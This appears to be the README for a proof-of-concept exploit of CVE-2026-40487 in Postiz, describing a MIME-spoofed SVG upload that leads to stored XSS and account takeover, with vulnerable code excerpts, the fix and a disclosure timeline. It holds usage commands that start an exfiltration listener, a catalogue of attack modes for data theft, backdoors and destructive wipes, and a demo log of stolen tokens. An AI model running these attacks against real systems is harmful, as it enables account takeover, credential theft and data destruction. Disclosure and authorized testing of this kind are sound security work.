CVE-2026-40487 - Postiz <= 2.21.5 - Arbitrary File Upload via MIME-Type Spoofing to Stored XSS to Account Takeover
Discovered & reported by: Astaruf
Full writeup: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
GHSA entry: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVE REcord: https://www.cve.org/CVERecord?id=CVE-2026-40487
Summary
Postiz is an open-source social media management tool with 28+ platform integrations (Instagram, X, LinkedIn, Facebook, TikTok, etc.), used by 600+ instances exposed on the internet.
A low-privileged attacker can upload a malicious SVG (or HTML) file with a spoofed Content-Type: image/png header. The server accepts the file without inspecting its actual content, preserves the original extension, and nginx serves it with the Content-Type derived from that extension (image/svg+xml). When a victim opens the URL, the embedded JavaScript executes in the application's origin, giving the attacker full session riding capabilities equivalent to account takeover.
The attack chain:
Attacker uploads .svg with Content-Type: image/png
-> Server validates only the Content-Type header (CWE-345)
-> File saved to disk with original .svg extension (CWE-434)
-> nginx serves it as image/svg+xml
-> Browser executes embedded JavaScript (CWE-79)
-> Same-origin: full access to victim's session
Impact
The XSS payload executes same-origin with the application. Even though the auth cookie is HttpOnly, fetch() with credentials: "include" automatically attaches it. The attacker can:
- Exfiltrate the victim's profile, API keys, OAuth tokens for all connected social accounts
- Read, create, modify, and delete scheduled posts across all platforms
- Invite the attacker as admin in the victim's organization
- Create a persistent OAuth backdoor (
pos_*token that never expires and survives password changes) - Disable notifications, wipe configurations, force logout
- Execute arbitrary authenticated API calls as the victim
Vulnerability Details
Three components fail independently, creating the exploit chain:
1. MIME-Type Validation Trusts Client Input (CWE-345)
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype comes from the Content-Type header in the multipart request, which the attacker controls. No magic byte inspection, no use of libraries like file-type.
2. Original Extension Preserved on Disk (CWE-434)
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extracts the extension from the client-supplied filename. No check for consistency between declared MIME type and extension. The server also returns the full public URL in the response, so the attacker gets the link to send to the victim.
3. nginx Serves with Extension-Derived Content-Type
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx maps .svg to image/svg+xml, .html to text/html. No Content-Security-Policy, no X-Content-Type-Options: nosniff, no Content-Disposition: attachment.
Proof of Concept
Requirements
Python 3.8+
pip install requests
Quick Start
# 1. Check if target is vulnerable
python3 poc.py http://target:5000 -e attacker@evil.com -p password --check
# 2. Exfiltrate everything from the victim
python3 poc.py http://target:5000 -e attacker@evil.com -p password \
--lhost YOUR_IP -a full-dump
# 3. Create a persistent backdoor
python3 poc.py http://target:5000 -e attacker@evil.com -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Reuse the token without credentials
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Attack Flow
Attacker Server Postiz Victim
| | |
|-- 1. Login/Register -------->| |
|-- 2. Upload SVG malevolo --->| |
|<---- URL del file -----------| |
|-- 3. Send URL to victim ---------------------------> |
| |<--- 4. Opens URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS executes, exfils data -----------|
All Attack Modes (33)
Exfiltration (19 modes) - steal victim data
| Mode | Description |
|---|---|
dump-self |
Victim profile, org info, tier, API key |
dump-personal |
Display name, bio, profile picture |
dump-integrations |
Connected social media integrations and tokens |
dump-posts |
Scheduled and draft posts (last 365 days) |
dump-team |
Team members, roles, and email addresses |
dump-media |
Media library listing |
dump-notifications |
Notification history |
dump-signatures |
Post signatures |
dump-webhooks |
Configured webhooks and their URLs |
dump-oauth-app |
OAuth app credentials (clientId, secret) |
dump-copilot |
AI copilot conversation threads |
dump-billing |
Billing and subscription info |
dump-settings |
Shortlink and notification settings |
dump-third-party |
Third-party integration configs |
dump-autopost |
Autopost rules |
dump-sets |
Content sets |
dump-tags |
Post tags |
dump-customers |
Customer list |
full-dump |
All of the above in a single payload |
Privilege Escalation (3 modes)
| Mode | Description |
|---|---|
add-admin |
Invite attacker as ADMIN in victim's org (--attacker-email) |
rotate-key |
Rotate org API key and exfiltrate it |
rotate-oauth |
Rotate OAuth app secret and exfiltrate it |
Sabotage (9 modes) - destructive actions
| Mode | Description |
|---|---|
kill-notifications |
Disable all email notifications |
edit-profile |
Modify victim's name and bio (--edit-name, --edit-bio) |
wipe-signatures |
Delete all post signatures |
wipe-webhooks |
Delete all webhooks |
wipe-tags |
Delete all tags |
wipe-sets |
Delete all content sets |
wipe-autopost |
Delete all autopost rules |
logout-victim |
Force-logout the victim |
delete-oauth-app |
Delete victim's OAuth application |
Backdoor (2 modes) - persistent access
| Mode | Description |
|---|---|
create-oauth-app |
Create OAuth app, auto-approve, exfiltrate persistent pos_* token (--oauth-redirect) |
steal-cookie |
Steal auth JWT via document.cookie (when NOT_SECURED=true) |
Generic (2 modes) - advanced
| Mode | Description |
|---|---|
api-call |
Arbitrary authenticated API call (--api-method, --api-path, --api-body) |
custom |
Execute arbitrary JavaScript (--custom-js) |
Additional Options
| Option | Description |
|---|---|
--check |
Probe if the target is vulnerable (no attack executed) |
--register |
Register a new account before login |
-t / --token |
Use API key or pos_* token instead of credentials |
--format html |
Use HTML payload instead of SVG |
--proxy |
Route traffic through HTTP/SOCKS proxy (e.g. Burp Suite) |
-o / --output |
Save loot to JSON file |
Demo
$ python3 poc.py http://target:5000 -e attacker@evil.com -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload
[*] Logging in as attacker@evil.com ...
[+] Authenticated.
[*] Generating payload: Exfiltrate everything in a single payload
[*] Uploading malicious .svg with Content-Type: image/png ...
[+] Upload successful.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Starting exfiltration listener on 0.0.0.0:8888 ...
=================================================================
Send this URL to the victim:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] Waiting for victim to open the link ...
[+] Loot received @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"victim@company.com","orgId":"...","publicApi":"bd332945..."}
[+] Loot received @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] Loot received @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"admin@company.com","role":"SUPERADMIN"}]
...
Fix
Version 2.21.6 introduced three changes:
- Magic byte validation using the
file-typelibrary to inspect actual file content - Explicit MIME type allowlist (no more
image/*catch-all) - Extension override based on detected content type
Timeline
| Date | Event |
|---|---|
| 2026-04-10 | Vulnerability discovered during source code review |
| 2026-04-10 | Reported via GitHub Security Advisory (GHSA) |
| 2026-04-10 | Developers acknowledged and requested clarification |
| 2026-04-10 | Detailed attack scenarios and Shodan data provided |
| 2026-04-11 | CVSS dispute submitted with evidence |
| 2026-04-13 | Fix released in v2.21.6 |
| 2026-04-14 | CVE-2026-40487 assigned |
| 2026-04-15 | Public disclosure |
References
- Full Astaruf writeup
- CVE-2026-40487 - GHSA Security Advisory
- Postiz - Official Repository
- Postiz v2.21.6 - Fix Release
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-79: Stored Cross-Site Scripting
- OWASP - Unrestricted File Upload
Disclaimer
This tool is provided for authorized security testing and educational purposes only. Use it only against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.